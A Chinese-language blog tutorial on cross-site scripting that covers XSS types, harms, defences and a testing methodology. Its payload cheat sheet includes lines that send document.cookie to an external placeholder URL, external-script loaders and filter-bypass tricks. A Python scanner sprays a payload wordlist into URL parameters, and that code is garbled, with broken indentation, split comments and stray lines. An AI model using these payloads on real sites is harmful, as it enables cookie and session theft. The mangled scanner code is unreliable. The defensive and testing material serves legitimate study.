XSS简单总结

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、XSS是什么?

二、XSS的分类

三、XSS的危害

四、超简单XSS的示例

五、XSS的一些常用payload

 六、使用Python进行简单XSS的检测

七、XSS的防御

八、关于XSS的渗透测试


前言

提示:这里可以添加本文要记录的大概内容:

跨站脚本攻击经常会出现在各种文章,书本,今天又接触到了,顺带做个简单总结。


提示:以下是本篇文章正文内容,下面案例可供参考

一、XSS是什么?

XSS称为跨站脚本攻击,重点在于脚本,现在主要基于JavaScript完成恶意攻击行为,JavaScript可以灵活操作HTML,使得XSS的攻击想象空间特别大。XSS将精心构造的JS代码注入到网页,使浏览器执行这段代码。

二、XSS的分类

1,反射型:一个网络请求包含了JavaScript代码,然后代码被执行后反射到任何提出请求的用户,攻击需要单独的请求和响应进行,甚至需要诱导用户的行为。

 2,保存型:攻击者提交的恶意数据被保存在后端,没有被过滤或净化,其它用户请求时被执行,危害最大。

 3,基于DOM型:特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞,动态更新页面内容时,通过JavaScript脚本修改页面的DOM节点形成漏洞,通过与客户端的JS进行交互,在JS中执行然后被显示出来。

   关于DOM的解释:文件对象模型,用于操作HTML页面中的元素。

三、XSS的危害

1,盗取各种用户账号

2,窃取用户Cookie资料,冒充用户身份

3,劫持用户会话,执行任意操作

4,刷流量,执行弹窗广告

5,传播蠕虫病毒。

等等

 

四、超简单XSS的示例

1,反射型

2,DOM型

 

五、XSS的一些常用payload

弹窗:
<script>alert(‘xss’)</script>
<script>confirm(‘xss’)</script>
<script>prompt(‘xss’)</script>
不能弹窗:
<script>console.log(‘xss’)</script>
<script>document.write(‘xss’)</script>
引入外部域名:
<script src=’url’></script>
<img src onerror=appendChild(createElement(“script”)).src=”url”>
<img src onerror=jQuery.getScript(“url”>
还可联合onmouseover等

盗取cookie
<script>window.location.href=”url?name=”+escape(document.cookie)</script>
<script>document.body.appendChild(document.createElement(“img”)).src=”url?name=”+escape(document.cookie)</script>


在href中
<a href=javascript:alert(1)/>

在xml中:
<?xml version=”1.0”?><a xmlns:a=”http://example/html”><a:body onload=’alert(1)’></a>

过滤了圆括号:
<script>alert`1`</script>
<video src onerror=a=”%2”,location=”javascript:aler+”t”+a+81+a+9”>
<video src onerror=”javascript:window.onerror=alert;throw 1”>

过滤javascript等,可以通过内嵌TAB,空格尝试:
<IMG SRC=”jav ascript:alert(‘XSS’);”>
 <IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”> 十进制编码,十六进制编码
<IMG SRC=”j&#97;v&#x61;script:alert(‘xss’);”>

 自己产生事件:
<input type = "button" value = "xss" οnclick="alert(1)" />


HTML实体编码绕过:
   		 " ——&quot
           ' ——&apos
           & ——&amp
           < ——&lt
           > ——&gt
           % ——&#37
               * —— &#42

一些其他标签以及手法
<svg onload=”alert(1)”>
<input onfocus=alert(1) autofocus>
#<svg>是HTML5中新添加的标签

 六、使用Python进行简单XSS的检测

 def GET():
            try:
                try:
#风格和字体颜色显示灰色
                    grey = Style.DIM+Fore.WHITE      
                    site = raw_input("[?] Enter URL:\n[?] > ")
 #输入url,无HTTP则自动加上
                    if 'https://' in site:
                        pass
                    elif 'http://' in site:
                        pass
                    else:
                        site = "http://"+site
#解析url的返回对象

                    finalurl = urlparse.urlparse(site)  
 #把query的参数放在一个列表里                   
                    urldata = urlparse.parse_qsl(finalurl.query)  
 #完整的url
                    domain0 = '{uri.scheme}://{uri.netloc}/'.format(uri=finalurl)     
  #取地址去除http和www的后缀   
domain = domain0.replace("https://","").replace("http://","").replace("www.","").replace("/","") 
#打印出正常检查      
 print (Style.DIM+Fore.WHITE+"[+] Checking if "+domain+" is available..."+Style.RESET_ALL)  
#通过httplib包使用http协议请求网址,检查是否能打开,能则输出可以
connection = httplib.HTTPConnection(domain)                                                                        
                    connection.connect()
                    print("[+] "+Fore.GREEN+domain+" is available! Good!"+Style.RESET_ALL)
                    url = site
                    paraname = []  #创建参数名称的空列表
                    paravalue = []   #创建参数值的列表
 #显示字典的名称并且输入
                   wordlist = raw_input("[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)\n[?] > ") 
                    if len(wordlist) == 0:
                        wordlist = 'wordlist.txt'
                        print(grey+"[+] Using Default wordlist..."+Style.RESET_ALL) 
#如果不输入,则启动默认字典wordlist.txt ,否则继续
                    else:
                        pass
                    payloads = []   #创建载荷列表
                    wordlistimport(wordlist,payloads)  #导入默认字典worldlist.txt的内容
                    lop = str(len(payloads))
                    grey = Style.DIM+Fore.WHITE
                    print(Style.DIM+Fore.WHITE+"[+] "+lop+" Payloads loaded..."+Style.RESET_ALL)   #输出字典正常加载
                    print("[+] Bruteforce start:") 
                    o = urlparse.urlparse(site)                                                                                          #解析url的返回对象赋值给o             
                    parameters = urlparse.parse_qs(o.query,keep_blank_values=True)     
取url的query参数,返回字典的形式
                    path = urlparse.urlparse(site).scheme+"://"+urlparse.urlparse(site).netloc+urlparse.urlparse(site).path  

#把url赋给path(如url为'https://www.baidu.com/s?wd=search',则scheme='https', netloc='www.baidu.com',params=’’,path=s,query=’wd=search’,fragment=’’并且以元组形式返回。
                    
for para in parameters: 
                        for i in parameters[para]:
                            paraname.append(para)               #参数名称列表添加url中取得的参数
                            paravalue.append(i)                 #参数的值列表添加url中参数的值
                    total = 0
                    c = 0
                    fpar = []
                    fresult = []
                    progress = 0    #开始尝试注入
                    for pn, pv in zip(paraname,paravalue):  
#将参数名和参数值打包成元组,返回元组的列表
                        print(grey+"[+] Testing '"+pn+"' parameter..."+Style.RESET_ALL)
#输出正常测试
                        fpar.append(str(pn))      
                        for x in payloads:  
#从字典的逐条取值赋给x
                            validate = x.translate(None, whitespace)  
                            if validate == "":   
#去除x中的所有空格
                                progress = progress + 1
                            else:
                                sys.stdout.write("\r[+] %i / %s payloads injected..."% (progress,len(payloads)))
                                sys.stdout.flush()  #一秒输出一个
                                progress = progress + 1
                                enc = urllib.quote_plus(x)# 
将url数据进行编码,使之能打印和web服务器接受
                                # data:https://www.baidu.com?user=123+enc
                                data = path+"?"+pn+"="+pv+enc      
 #在url的参数名称的值改成字典中的值
                                page = urllib.urlopen(data) #打开网址
                                sourcecode = page.read()#查看网址的源代码
                                if x in sourcecode:   #若网址的源代码存在注入的语句,则存在漏洞
                                    print(Style.BRIGHT+Fore.RED+"\n[!]"+" XSS Vulnerability Found! \n"+Fore.RED+Style.BRIGHT+"[!]"+" Parameter:\t%s\n"+Fore.RED+Style.BRIGHT+"[!]"+" Payload:\t%s"+Style.RESET_ALL)%(pn,x)
                                    fresult.append("  Vulnerable  ")
                                    c = 1
                                    total = total+1
                                    progress = progress + 1
                                    break
                                else:
                                    c = 0
                        if c == 0:                      #运行完没有发现漏洞则输出不存在漏洞                      print(Style.BRIGHT+Fore.GREEN+"\n[+]"+Style.RESET_ALL+Style.DIM+Fore.WHITE+" '%s' parameter not vulnerable."+Style.RESET_ALL)%pn
                            fresult.append("Not Vulnerable")
                            progress = progress + 1
                            pass
                        progress = 0
                    complete(fpar,fresult,total,domain)
                except(httplib.HTTPResponse, socket.error) as Exit: #如果网址没法访问,则再请求
                    print(Style.BRIGHT+Fore.RED+"[!] Site "+domain+" is offline!"+Style.RESET_ALL)
                    again()
            except(KeyboardInterrupt) as Exit: #字典不存在则输出不存在
                print("\nExit...")
Def post():原理一致

主要原理是通过取出POST或Get方法中的参数和参数的值,将参数的值逐个替换成字典中的每条语句,通过HTTP协议逐个访问后再取出网址的源代码,若源代码中不存在刚才注入的语句,则判断不存在XSS。

七、XSS的防御

1,防止反射型和保存型的XSS漏洞:

  1. 确认输入,应用程序对用户能自主控制提交的数据在处理前要进行严格的确认和过滤,可以使用正则表达式等规则与数据匹配,确定数据是否包含某些敏感的字符,从而拒绝或者净化存在危险的输入。
  2. 确认输出,对于提交的数据会提交到HTTP响应中的输入,应对数据进行适当的HTML编码等,使用ASCII字符代码,净化可能的恶意字符。如:

           " ——"

           ' ——&apos

           & ——&

           < ——<

           > ——>

           % ——%

            * —— *

  1. 消除危险的插入点,在应用程序涉及核心部分交互的位置要尽量的不允许用户可控制输入,避免直接在现有的JavaScript中插入用户控制输入的数据,避免请求包中指定了响应的编码类型。如果标签熟悉接收URL作为值,避免嵌入用户输入。
  2. 限定HTML的使用,避免提供引入脚本的属性和方法,可使用白名单过滤的方法,仅允许那些无法造成危害的特定的标签和属性。

2,防止DOM型的XSS漏洞:

  1. 确认输入,应用程序对它处理的数据执行严格的确认,服务器端对URL数据进行严格的确认以检测基于DOM型的恶意请求。如:

      <script>

        var a=document.URL

         a=a.substring(a.indexOf("message=")+8,a.length);

         a=unescape(a);

         var regex=/^([A-Za-z0-9+\s])*$/;

         if (regex.test(a))

            document.write(a)

</script>

  1. 确认输出,将用户可控制的DOM数据插入到文档之前,应用程序对它们进行编码,安全的方式显示在页面中。如:

function sanitize(str)

{

var d=document.createElement('div');

d.appendChild(document.createTextNode(str));

return d.innerHTML

}

八、关于XSS的渗透测试

  1,先正常使用应用程序确定内容和功能,确定向应用程序能够输入的位置提交跨站脚本攻击漏洞的测试字符串,寻找提交的输入是否在浏览器中被输出,是否对提交的内容进行了过滤或者净化,对每个位置进行单独的分析和多次的不同测试输入。

2,应用程序对输入数据的处理可能会经历不同的几个阶段的操作和交互,尽可能向应用程序提交数据时,分析数据经历的几个阶段的操作。例如,某些购物的应用程序在用户提交订单,转账等往往会被按预定的顺序提交几个不一样的请求,避免遗漏漏洞,要确保测试彻底完成。

3,对反射型XSS漏洞的探查,要注意请求的每一个页面,包括HTTP请求包中的参数和消息头里的内容。对保存型XSS漏洞探查,要分析应用程序是否存在带外通道接收和处理用户可控的输入,如应用程序存在从其它地方接收数据,任何此类带外通道都可能成为保存型XSS攻击的攻击向量。除此之外,探查应用程序处理解析了数据后得到的结果,确定应用程序可能受到的攻击面。

4,从不同的角度分析应用程序,确定用户可控制的数据是否能够构造使用其它方法保存在应用程序的后端并且输出显示给用户。例如,应用程序的搜索功能存在搜索项的的列表,可以多次重复搜索同样的列表,引入保存型XSS漏洞的有效载荷即主搜索功能安全的处理了输入。


 总结

XSS利用的想象空间很大,可以利用鲜为人知的HTML,JavaScript,VBScript的特性来实施攻击,发挥想象,总有新型的跨站脚本攻击诞生。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值